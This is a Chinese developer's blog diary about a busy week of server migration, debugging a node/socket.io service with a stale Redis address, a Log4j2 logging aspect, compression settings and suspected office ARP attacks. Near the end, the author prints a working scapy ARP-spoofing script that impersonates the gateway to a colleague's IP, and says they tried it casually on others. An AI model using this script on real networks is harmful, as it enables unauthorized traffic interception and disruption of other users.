前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >为了杀死一个node进程,我把服务器都重启了

为了杀死一个node进程,我把服务器都重启了

作者头像
写一点笔记
发布2020-11-10 14:04:22
1.3K0
发布2020-11-10 14:04:22
举报
文章被收录于专栏:程序员备忘录程序员备忘录

最近真的太忙了,从早上干到晚上。总结一下最近的状态,一个字:忙,很忙,太忙了。既要改bug,又要调试环境,还要发包!中间各种坑,这里录一下我的经历。

背景:隔壁部门项目经理请了产假,之前都没接手过他们组的项目。大领导让将项目交接就给我,交接了一个文档,文档上边是git仓库地址,之后就没有什么信息了,之前因为git分支的问题,踩过坑。最近公司内网服务器统一管理,要求将所有部门的服务器全部搬到一楼机房。这一搬,服务器的ip都变了。项目中得地址也变了,包括接口地址、数据库地址、云盘地址,然后再和几个环境做一次笛卡尔积。总之就是很乱,原部门的经理打算乘乱将内网的所有服务全部通过nginx进行反代,将域名统一切到nginx上,从而降低tomcat和IIS的压力,除此之外外网环境,产品经理反映服务在早上和下午会零碎出现404页面,伴随的是接口慢,领导要跟随测试,在内网找到原因(因为太忙,我没管,另一个同事打算甩锅给我,我也没理,最后他们找到一些资料)。隔壁的一个部门搞hfs微服务,也需要反代理,还有阿里云服务器ECS购买。同事让我帮他整合log4j2。手里一大堆bug,领导天天群里喊我。不定时的电脑断网,怀疑是被人进行了ARP攻击。

因为服务调用非常杂乱,服务很多。.net、java、C++、node各种服务。服务器迁移导致断电,断点导致一些不是服务形式的应用无法工作。在将我服务的所有应用全部改完配置之后,随便点了一下,没啥问题。

问题一:一个同事调的我的接口,然后他们的接口正常返回,但是结果不对,导致他的业务一直停留,希望我检查接口或者服务配置。

解决:我仔细排查了配置,发现没有任何问题。同事不相信,让我跟他联调,通过联调,该业务中,我调另外一个同事的服务返回结果不对。向他诉说了问题之后,他又排查,最后发现是因为他们服务的配置没改,问题解决基本花费了多半天。沟通,debug和等待。

问题二:一些基于websocket的服务的时效性显著降低,甚至业务无法正常运行。

解决:为了使得websocket服务的公用性和可扩展性,之前的开发人员使用的socket.io,采用node的方式。node进程的管理使用了nsm.exe,nsm又被制作成了服务。因为是接手其他组的项目,我不了解这块。因为这个项目是项目经理负责的,其他同事又不知道具体什么原因。但是考虑到后端返回的数据没有问题,就是展示上出了问题。第一步将问题定位到了前端的js脚本。但是前端开发说她都没动过这个呀。然后让我将新的服务发布到测试环境,我发了却依然不行。经过讨论,他们认为是没有被nginx代理的问题,猜测是直接走ip不行,无奈我又加到nginx上,给了一个域名,但是任然不行。无意中看到有个error日志,打开一看,好大一片报错。

代码语言:javascript
复制
{"message":"adapter error: Error: All sentinels are unreachable. Retrying from scratch after 320ms. Last error: Connection is closed.","level":"error"}

大概得意思是redis哨兵连接不上了。我立马认为是redis同事是不是没配对,或者服务司死机了。

无奈我将我的node进程杀死,然后再重启了一下,希望能见到奇迹。最后还是不行。但是日志里出现了端口被占用的提示。最后百度了一个超级杀死node进程的方法:

代码语言:javascript
复制
taskkill /f /t /im node.exe

然后重启再看日志,发现端口还是被占用了。杀红眼的我决定重启服务器!一波操作之后发现端口还是被占用了.....

想到应该是搞成服务了,找了半天没找到服务名称(因为名称一般人想不到呀)。最后问到了。用了nsm.exe管理的node,用服务管理的nsm。把这些都关掉之后,重启了服务,其他的websocket都正常了。根本原因是用了老的redis地址,报错的原因是redis提前迁移的,端口绑定异常才是我们查找的重点。期间为了甩锅,我还写了一个日志切面。

代码语言:javascript
复制
@Log4j2
@Aspect
@Configuration
public class RouterLogConfig {

    /**
     * 设置操作异常切入点记录异常日志 扫描所有controller包下操作
     */
    @Pointcut("execution(* net.dddd.mind.util.rest.RestApiUtils.*(..))")
    public void routerLog() {
    }


    /**
     * 执行之前进行
     * @param joinPoint 切点
     */
    @Before(value = "routerLog()")
    public void doBefore(JoinPoint joinPoint) {
        Object[] args = joinPoint.getArgs();
        MethodSignature sig = (MethodSignature) joinPoint.getSignature();
        Method method = sig.getMethod();
        if (null != method.getDeclaringClass().getName() && null != method.getName() && null != args && args.length > 0) {
            StringJoiner stringJoiner=new StringJoiner(":");
            Arrays.stream(args).forEach(c->{
                if (!Objects.isNull(c)){
                    stringJoiner.add(c.toString());
                }});
            log.info("{} . {} : request:{}", method.getDeclaringClass().getName(), method.getName(), stringJoiner.toString());
        }
    }

    /**
     * 返回打印日志
     * @param joinPoint 切点
     * @param keys 返回的数据
     */
    @AfterReturning(value = "routerLog()", returning = "keys")
    public void saveOperLog(JoinPoint joinPoint, Object keys) {
        MethodSignature sig1 = (MethodSignature) joinPoint.getSignature();
        Method method1 = sig1.getMethod();
        if (null != keys && null != method1.getDeclaringClass()) {
            try {
                log.info("{} . {} : reponse:{}", method1.getDeclaringClass().getName(), method1.getName(), keys.toString());
            } catch (Exception e) {
                log.warn(e.toString());
            }
        }
    }
}

问题:项目js脚本压缩优化,缩短页面响应时间

解决:开启后端静态文件压缩,nginx再压缩,效果还可以。

代码语言:javascript
复制
server.compression.enabled=true
server.compression.mime-types=application/json,application/xml,text/html,text/xml,text/plain

问题:arp被攻击了,偶发性断网。使用arp -a 回显的地址往往为空,使用arp -s添加网关地址,还不被接受。

解决:一直想找到那个机器发送的arp包,为此还学了一下scapy、nmp。希望根据断网之后的arp的列表找到具体的工位,最后锁定了一个同事。最后考虑arp里的那个ip可能也不是他。所以放弃了。

一般网关都是动态ip,动态ip的就一直需要广播去找,所以设置成静态的话,就不能别改变了,也不去询问。所以可以arp攻击。

代码语言:javascript
复制
#查看网卡
netsh i i show in
代码语言:javascript
复制
使用显示网关地址
arp -a
代码语言:javascript
复制
添加网关到静态arp
netsh -c "i i" add neightbors 14 "192.168.21.1" "38-22-d6-0c-c4-79" 

当然咋也不忘学着攻击一下别人。但是发现效果不是很好,可能需要多发一些arp包吧!

代码语言:javascript
复制
from scapy.all import *
from scapy.layers.l2 import Ether, ARP


def arpattach(target,ip):
    pack=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=target,psrc=ip)
    pack.show()
    sendp(pack)

def execute(target,ip):
    if ip is None:
        print("攻击的ip不能为空")
        sys.exit()
    if target is None:
        print("target不能为空")
        sys.exit()
    for i in range(50):
        time.sleep(0.5)
        arpattach(target,ip)

if __name__ == '__main__':
    execute("192.168.21.64","192.168.21.1")

本周比较有纪念意义的就上边这几个,除此之外帮助同事解决log4j2的包冲突,提示一下,直接使用maven的的检索,然后输入log,会出来一个springboot自己的strater,然后直接exclude就可以了。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-11-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 程序员备忘录 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档